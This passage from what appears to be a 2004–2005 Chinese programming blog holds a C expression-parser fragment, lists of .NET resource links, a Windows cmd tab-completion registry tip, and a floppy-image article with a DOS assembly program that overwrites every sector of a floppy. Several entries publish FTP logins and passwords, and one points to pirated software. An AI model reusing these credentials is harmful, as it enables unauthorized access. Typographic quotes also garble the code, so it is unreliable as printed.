     VALUE_TYPE temp = 0, divtmp;

     temp = factor();

     while (token)
     {
          if (token==‘*’)
          {
               getToken();
               temp *= factor();
          }
          else if (token==‘/’)
          {
               getToken();
               divtmp = factor();
               if (divtmp == 0)
               {
                    fprintf(stderr, “Error: divided by zero!”);
                    exit(1);
               }

               temp /= divtmp;
          }
          else if (token==‘ ’ || token==‘\t’ || token==‘\r’ || token==‘\n’)
          {
               getToken();
               continue;
          }
          else
               break;
     }

     return temp;
}

VALUE_TYPE factor()
{
     int bHex = 0;
     VALUE_TYPE temp = 0;

     if (token==‘(‘)
     {
          /* skip left bracket */
          getToken();     
          temp = expr();
          /* skip right bracket */
          getToken();
     
          return temp;
     }
     
     if (token==‘0′)
     {
          getToken();
          if (token==‘x’ || token==‘X’) {
               getToken();
               bHex = 1;
          }
     }

     return get_value(bHex);
}

VALUE_TYPE get_value(int bHex)
{
     VALUE_TYPE ret = 0, temp, cf;

     bHex = ALWAYS_USE_HEX | bHex;
     cf = bHex ? 16:10;
     
     while (1)
     {
          if (bHex &&
               (     ( token>=‘A’ && token<=‘F’ ) ||
                    ( token>=‘a’ && token<=‘f’ )
               ))
          {
               token |= 0×20;
               temp = (VALUE_TYPE)(token - ‘a’ + 10);
          }
          else
          {
               if ( token>=‘0′ && token<=‘9′ )
                    temp = (VALUE_TYPE)(token-‘0′);
               else
                    break;
          }

          ret *= cf;
          ret += temp;

          getToken();
     }

     return ret;
}

2005年01月06日

http://www.microsoft.com/china
(微软中文网站,有微软的最新活动、最新介绍)

http://www.microsoft.com/china/msdn
(微软中文MSDN)

http://msdn.microsoft.com/
(英文MSDN,最大的资源库,英文)

http://www.dotnetwire.com/
(N多.net方面的技术文章,英文)

http://www.w3.org/
(如果你要做web application,
这个网站是必须经常来看看的,英文)

http://www.google.com
(就算把上面的网站都忘了,
也千万不要忘了这个网站)

http://www.codeproject.com/
(代码库)

http://www.syncfusion.com/

http://www.wimdows.net/

www.sorke.com
开发站

http://www.regexlib.com/
正则表达式

http://blog.joycode.com/
博客堂,里面全是老大

http://www.dotnetjohn.com

一些例子及书籍下载网站


http://www.dotnetjunkies.com
http:/www.asp.net

http://www.aspsky.net

http://www.windowsforms.net/
控件,winform应用,还有个小游戏

http://www.csharphelp.com/
C#文章

http://www.c-sharpcorner.com/
较常用的例子,文章,都有代码下载

http://www.codeproject.com/
大家都常去的

http://www.regexlib.com/
正则表达式

http://www.syncfusion.com/FAQ/WinForms/default.asp
常见的winform的FAQ

http://www.gotdotnet.com/
微软的

http://www.devcity.net/net/

http://123aspx.com/
连接,文章

http://asp.net/
微软的,文章,连接,web Matrix下载

http://www.aspalliance.com/
文章,论坛

http://www.aspnetworld.com/
连接,文章

http://www.15seconds.com

http://www.dotnetjunkies.com/
文章,例子,有好几个mvp在里面

http://www.wwwcoder.com/main/
综合

http://www.artima.com/
软件工程,其中有对Anders和clr
总设计师的访谈,还有Robert
Matiain等大师的Blog

当然还有英文MSDN

http://yanhao.vip.sina.com
D版.net控件大全
www.csai.com
中国系统分析员

www.uscav.com
一个用ASPX开发的个性鲜明的
遇电子商务网站!很酷!


XML技术的资源
http://bbs.xml.org.cn/index.asp


这里有个在线教程很棒(英文)
http://www.w3schools.com/

FTP大家不关注吗:
ftp://uncj.net:dazhige@211.162.77.132

http://www.functionx.com

http://www.xmlforasp.net
http://www.asp.net
http://www.dotnetbips.com


博客园
http://www.cnblogs.com/

www.aspcool.com b/s开发
http://www.uml.org.cn/ 设计模式

打造属于自己的可视Web HTML编辑器
http://www.syszedu.net/jiang/dragon/1752.htm

中国源码中心提供下载
网址:www.cncode.com
备份站,www.codecn.net

如何判断SQL SERVER 中 Image型字段是否为空值
http://expert.csdn.net/Expert/topic/1525/1525806.xml

Js:关于document.execCommand()函数可用参数大解析
http://cache.baidu.com/c?word=execcommand&url=http%3A//www%2Eourdiy%2Enet/info%5Fdetail%2Easp%3Finfoid%3D18&b=4&user=deadlink

http://www.microsoft.com/china/community/developer/default.mspx
(微软中国社区技术资源,大部分都是MVPs的力作)

http://www.microsoft.com/china/msdn/events/webcasts/webcasts.mspx
(MSDN 微软开发技巧系列网络讲座,手把手教你怎么做,可下载以前的视频)

http://www.kupage.com/webdesign/7/20030625/1648310000027dhlqacc.htm
(.NET中各种数据库连接大全)

http://www.google.com/microsoft
http://www-900.ibm.com/developerWorks/cn/index.shtml
上上 ibm 的, 收获更多


http://www.fawcette.com/China/XmlFile.aspx?ID=311
地址:http://chs.gotdotnet.com/quickstart/
描述:本站点是微软.NET技术的快速入门网站,我们不必再安装.NET Framework中的快速入门示例程序,直接在网上查看此示例即看。
****************************************************
名称:微软官方.NET指导站点
地址:http://www.gotdotnet.com/
描述:上面的站点是本站的一个子站点,本站点提供微软.NET官方信息,并且有大量的用户源代码、控件下载,微软.NET开发组的人员也经常在此站点发表一些指导性文章。
****************************************************
名称:SourceForge
地址:http://www.sourceforge.net
描述:世界上最大的Open Source项目在线网站,上面已经有.NET的各种大型Open Source项目上千件,包括SharpDevelop、NDoc、Mono等都是在此站点发布最新源代码信息。
****************************************************
名称:CodeProject
地址:http://www.codeproject.com
描述:很多非官方的中小型示例源代及文章,相当全面,基本上我们想要的各种方面的资料都可以在此处查找。
****************************************************
名称:Fabrice’s weblog
地址:http://dotnetweblogs.com/FMARGUERIE/Story/4139.aspx
描述:这是一个WebLog形式的在线日志网站,定期更新,包括.NET相关的工具、混淆器、反编译器等各种信息,十分值得收藏。
****************************************************
名称:
地址:http://www.aspalliance.com/aldotnet/examples/translate.aspx 描述:c#翻译为vb.net,提供一个文本框,将你的C#源代码贴进去,就可以帮你翻译成VB.NET语法。
推荐人:点滴
****************************************************
名称:CSharpHelp
地址:http://www.csharphelp.com
描述: 专业的C#语言在线帮助网站,主要提供C#语言方面的技术文章。专业性很强。
推荐人:nice90
****************************************************
名称:DotNet247
地址:http://www.dotnet247.com
描述:最好的索引网站,分别按照门类及命名空间的索引,也提供了Microsoft KB知

http://www.syncfusion.com/FAQ/WinForms/
http://chs.gotdotnet.com/quickstart/winforms/
http://www.chinaspx.com/article/go.asp?id=246&typeid=2
http://www.uncj.net/
http://www.aspcool.com/
www.icsharpcode.net
http://www.codeproject.com/
http://www.codeproject.com/cs/database/albumviewer.asp
http://www.dotnetbips.com/displayarticle.aspx?id=60
http://support.microsoft.com/default.aspx?scid=fh;ZH-CN;vcSnet
http://home.jlu.edu.cn/~hoofi/dbbase/603565.xml
http://www.programfan.com/showarticle.asp?id=2105
http://www.pgfans.net/bbs/
http://www.csai.com.cn/analyze/csbs.htm
http://www.dotnet247.com/247reference/msgs/12/61447.aspx
http://search.atomz.com/search/?sp-q=database&sp-a=sp1001decd&x=19&y=1//一个C#的查询网站
http://www.programfan.com/showarticle.asp?id=2105 、、编程爱好者
http://dotnet.onest.net/ 佳诚
http://chs.gotdotnet.com/quickstart/winforms/ Donet的帮助
http://www.etcell.com/Samples/
http://www.film888.com/film.asp?id=zhehui asd
http://vodhere.com/article.asp?id=114 asd
http://www.envanet.com/
http://www.gotdotnet.com/community/usersamples/ 不错的,还有很多的源代码。
http://new.playicq.com/
http://www.vbaccelerator.com/home/NET/Code/Libraries/index.asp
http://www.windowsforms.com/Default.aspx?tabindex=4&tabid=49#Data
ftp://qydn.vicp.net 用户名:csharp 密码:csharp
http://access911.net/index.asp?board=1
http://www.dapha.net/down/show.asp?page=2&classid=7&Nclassid=
http://www0.ccidnet.com/tech/guide/guide_more.php3?sub_name=编程指南&column_name=&introduce=&author=&publish_time=1&page_num=1&records=50#


ftp://haiyang.net:down@haiyang.net
ftp://e21study.com 用户名share 密码www.ibeyond.org
后一个书超多!!
ftp://qydn.vicp.net/vs.net2003/
ftp://211.92.194.130


这里有关于asp.net的相关站点的列表:
http://www.asp.net/Modules/MoreCommunities.aspx?tabindex=0&mid=79


http://www.asp.net
http://www.aspxcn.com
http://www.metabuilders.com/Tools/ComboBox.aspx
http://webfx.eae.net/dhtml/combobox/combobox.htm
http://www.lostinet.com/emigridsample/webform1.aspx
ftp://tmp.12hao.com/
www.aspxcontrol.com
www.chinaspx.com
http://xml.sz.luohuedu.net/xml/Content.asp
http://www.lionsky.net/MyWebSite/index.aspx
http://www.15seconds.com/component/pg001029.htm
http://www.pconline.com.cn/pcedu/empolder/wz/asp/10203/38916.html
http://www.codeproject.com/aspnet/combobox.asp
http://www.metabuilders.com/Tools/ComboBox.aspx
http://webfx.eae.net/dhtml/combobox/combobox.htm

http://lucky.myrice.com/temp/select.htm
http://lucky.myrice.com/temp/combobox.htm
http://xml.sz.luohuedu.net/xml/CoolMenu/main.htm
http://fason.nease.net/code/form/select/tipedit.htm
http://fason.nease.net/code/form/select/coolselect.htm
http://www.asp.net/Default.aspx?tabindex=2&tabid=31
http://www.metabuilders.com/
http://sorke.com/downcontrol.aspx
http://www.123aspx.com/directory.aspx?dir=205


推荐:自定义控件
http://www.metabuilders.com/default.aspx

http://www.microsoft.com/china/msdn/events/webcasts/webcasts.mspx#XSLTsection126121120120
源码下载
http://www.aspsun.com
ASP.NET电子书下载
http://www.infoxa.com
各种源代码和资料
http://www.playicq.com
http://soft.kaer.cn/
有ASP.NET书籍,但少些
http://www.vbaspnew.com/book/aspnet.htm
C#学习站点,ASP.NET电子书很多,重要的也很多
http://www.lzhm.net/
各种技术都有介绍ASP.NET方面也很多
http://www.webasp.net
免费的FTP站点,含这种ASP.NET学习资料,相配的网站为http://uncj.net/
ftp://211.162.77.132/
uncj.net
uncj.net
ftp://61.145.116.137
用户名:down
密码:ftppassword
ftp://real-weboy.vicp.net
Ftp;viccmpt.vicp.net 21
uid:vode
pwd:vicgame
中国源码中心
http://www.chinaaspx.com/
51DotNet俱乐部与North 22 solutions(微软目前唯一授权的在中国大陆的培训机构)
http://www.51dotnet.com/index.asp
很多ASP.NET资源
http://www.aspx8.cn/default.aspx
http://www.erist.com
http://www.nxcn.net/bbs/list.asp?boardid=12


电子书籍下载
http://www.netyi.net/
http://www.infoxa.com
www.eastasp.com/zh-cn/ebooks
ftp://haiyang.net:down@haiyang.net
ftp://e21study.com 用户名share 密码www.ibeyond.org
ftp://qydn.vicp.net/vs.net2003/
ftp://211.92.194.130


国内:

http://aspxcn.com ;
简介:.NET中华网,提供国内外大量ASP.NET源码下载、技术文档查阅、.NET虚拟主机租用、人气旺盛的论坛交流

http://www.51dotnet.com ;
简介:更新较慢,不过内容丰富,技术文档极多是此站一大特色

http://www.cndot.com ;

http://aspcn.com ;
简介:ASP.NET内容总量较少,但精品不少,是国内外有名的技术网站

http://www.cndotnet.net ;
简介:技术文章不少,但很久没有更新了

http://www.chinaaspx.com ;
简介:人气不错的ASP.NET论坛

http://expert.csdn.net/expert/forum.asp
简介:学ASP.NET不可不去的地方呵,高手极多,站长就是在那里成长起来的

http://club.pchome.net/bbs2.php?lanmuid=11&topic=129 ;
简介:电脑之家的ASP.NET论坛,高手也不少呵,但人气不是太旺

http://tansin.wincn.com/Forum/Index.aspx ;
简介:开发国人自己最优秀的天行.NET论坛的官方论坛,有关开发论坛的问题可以到那里看看

http://www.htmchina.com/ ;
简介:提供不少的ASP.NET源码及文章的好地方

http://www.aspx.net.cn ;
简介:开发.NET先锋论坛的官方主页,国人比较早的一个ASP.NET专题站,即将有比较大的改版动作,大家留意了!!

http://www.ouryh.net/down/default.asp ;
简介:银河技术下载栏目,提供不少的ASP.NET资源

http://www.ourasp.net ;
简介:ASP.NET中文专业网,很早期的一个ASP.NET专题网站,但更新较慢

http://www.aspcool.com ;
简介:极多原创ASP.NET技术文章的网站,相当有名!!

http://www.yesky.com/72342380434423808/index.shtml ;
简介:天极网.NET文章专栏,极多原创技术文章

http://www.pconline.com.cn/pcedu/ ;
简介:太平洋网络学院,ASP.NET技术文章不少呵
其它将在以后继续增加…..



国外网站:

http://www.asp.net ;
简介:微软公布的官方ASP.NET专题站,不用我说了吧

http://www.codeproject.com ;
简介:丰富的C#,VB.net,ASP.net代码及文章资源,国外一个出色的专题站

http://www.dotnetbips.com ;
简介:不错的专题站,代码及文章也相当不错

http://www.dotnetjunkies.com/ ;
简介:代码资源相当丰富,文章也相当出色,但更新较慢

http://www.techng.com/ ;
简介:微软推荐的国内优秀的ASP.NET专题站

http://www.csharphelp.com
简介:不错的C# Help网站,代码及文章都很丰富

http://aspin.com/
简介:这个网站的控件不错,有时间一定要看看哦

http://www.codeproject.com
简介:推荐,提供大量编程技术C++, MFC, COM, WTL, Win32, Managed C++, C#, ASP, ASP.NET, VB6, VB.NET, J#, javascript, Perl, SysAdmin, Database….

http://sourceforge.net/
简介:从名字就可以看出来了,这个网站很棒。。。

http://www.allapi.net/apilist/apilist.php?dotnetonly=yes&showinfo=yes
简介:关于.net API的网站


http://www.tripleasp.net/index.aspx
简介:不错的资源站

http://dotnetweblogs.com
简介:.NETWeblogs


http://www.dotnet247.com/247reference/default.aspx
简介:.NET 247


程序员大联盟
http://www.uncj.net/

博客中国
http://www.blogchina.com/

zdnet,大家应该都知道吧
http://www.zdnet.com.cn/

孟夫子的网站也值得拜访
http://xml.sz.luohuedu.net/xml/


Microsoft .Net 框架 SDK 快速入门教程经典!!!

http://chs.gotdotnet.com/quickstart/default.aspx

微软最新.Net 电子图书下载网站(英文原版)堪称一绝!
http://www.eastasp.com/zh-cn/ebooks/index.aspx


http://www.ChinaUI.com
中国UI设计网,学习界面设计的好地方

2004年12月31日

## 呵呵,最近买了本本(HP  的,不要说我哦,我没买日货啊!),256M 还没升级,跑 XP 不是很爽,索性换回了 2000。

## cmd 不支持命令补齐功能,郁闷!

## 前两天无异找到的一个帖子,不错的说!

如何打开自动补齐功能 


  用过LINUX,4DOS的朋友都知道它们有一个非常方便的功能,就是TAB键自动补齐。例如:在c:\下面,我们想进入my documents目录,通常输入cd “my documents”(如果该目录下只有一个以my开头的目录的话,也可以用cd my*)。但是如果有自动补齐功能的话,我们只需输入my后按TAB键,系统会自动将目录补齐,如果有多个(比如还有my fax, my pictures等),我们按动TAB键就可以循环,循环到相应项目回车即可。
  win 2000同样具有自动补齐功能,只是系统将它隐藏起来了。我们可以利用以下方法将它打开:   

  打开注册表编辑器,进入主键[HKEY_CURRENT_USER\Software\Microsoft\Command Processor],将“CompletionChar”键值设置为9。

## The End  

2004年12月17日

比较全的哦。

网址:

点这里浏览


另外,

点这里可以看到详细的 locale 编号

2004年11月18日

+————————–+
| FLOPPY IMAGE FILE FORMAT |
+————————–+

=========================================================
 本文由 codez 原创。由于 codez 水平有限,如有错误请见谅!

 出处: http://www.donews.net/codez
 邮箱: jay_zephyr2002@yahoo.com.cn

 转贴请保留此信息
=========================================================


记得很久以前有个 HDCOPY 的软件, 后来又多了个 WinImage, 都可以把软盘做成一个 img 文件。
后来渐渐的被淡忘了。不过,最近一段时间一直用 Qemu(类似 Bochs,但是速度更快), 用软盘映像
文件的时候没有找到顺手的工具,WinImage 原来是收费的(以前没用过,只是听说过)。干脆,自己
研究一下。写出来,给各位有兴趣的看官瞥一眼。


这里我们以 FHD #3.5 为例:
 sizeof(FHD #3.5) = 磁头数 * 每磁头磁道数 * 每磁道扇区数 * 每扇区字节数
    = 2 * 80 * 18 * 512 = 1474560 Byte = 1440 KB


磁盘映像文件格式安排:
 DISK IMAGE CONTENT = BLOCK 01, BLOCK 02, BLOCK 03, … , BLOCK N (此处 N = 2*80*18 = 2880)
具体内容顺序安排(每个 BLOCK 代表一个扇区块 512 个字节)。


由于每个 BLOCK 代表一个扇区块,所以,映像文件的每个 BLOCK 都对应于 disk 上面的一个扇区。
对应关系如下:


 IMAGE BLOCK INDEX  FLOPPY DISK SECTOR
 —————–  ——————
 BLOCK 01  <=> HTS = 0:0:1
 BLOCK 02  <=> HTS = 0:0:2
 …   <=> …
 BLOCK 18  <=> HTS = 0:0:18


 BLOCK 19  <=> HTS = 1:0:1
 BLOCK 20  <=> HTS = 1:0:2
 …   <=> …
 BLOCK 36  <=> HTS = 1:0:18


 BLOCK 37  <=> HTS = 0:1:1
 …
 BLOCK N   <=> HTS = 1:79:18


其中 HTS = Header:Track:Sector (请注意,我这里没有使用常用的 CHS)。


以下是一个验证程序源码:
;———————————————————-
; File: fcts.asm
;
; Written by codez @2004.
; Compiled with: nasm -fbin -o fcts.com fcts.asm
;———————————————————-


 org 0×100


start:
 xor ax, ax
 mov [header], al
 call DoHeader


 xor ax, ax
 inc al
 mov [header], al
 call DoHeader


quit:
 mov ax, 0×4c00
 int 0×21


;———————————————————-
DoHeader:
 xor bx, bx


con_loop:
 push bx
 mov [track], bl
 call DoTrack
 pop bx
 inc bx


 cmp bx, 80
 jnz con_loop


 ret


;———————————————————-
DoTrack:
 xor cx, cx


con_loop2:
 inc cx
 push cx
 mov [sector], cl
 call DoSector
 pop cx


 cmp cx, 18
 jnz con_loop2


 ret


;———————————————————-
DoSector:
 mov ah, 3
 mov al, 1
 mov ch, [track]
 mov cl, [sector]
 mov dh, [header]
 mov dl, 0


 mov bx, buffer
 int 0×13
 jc show_error
 ret


show_error:
 mov ah, 9
 mov dx, err_msg
 int 0×21


 jmp quit


;———————————————————-
err_msg:
 db ‘Error for write!’,0xd, 0xa, 0×24
;———————————————————-
buffer:


header db 0
track db 0
sector db 0
;———————————————————-
padding:
 times 512 db 0xFF
;———————————————————-
; [The End]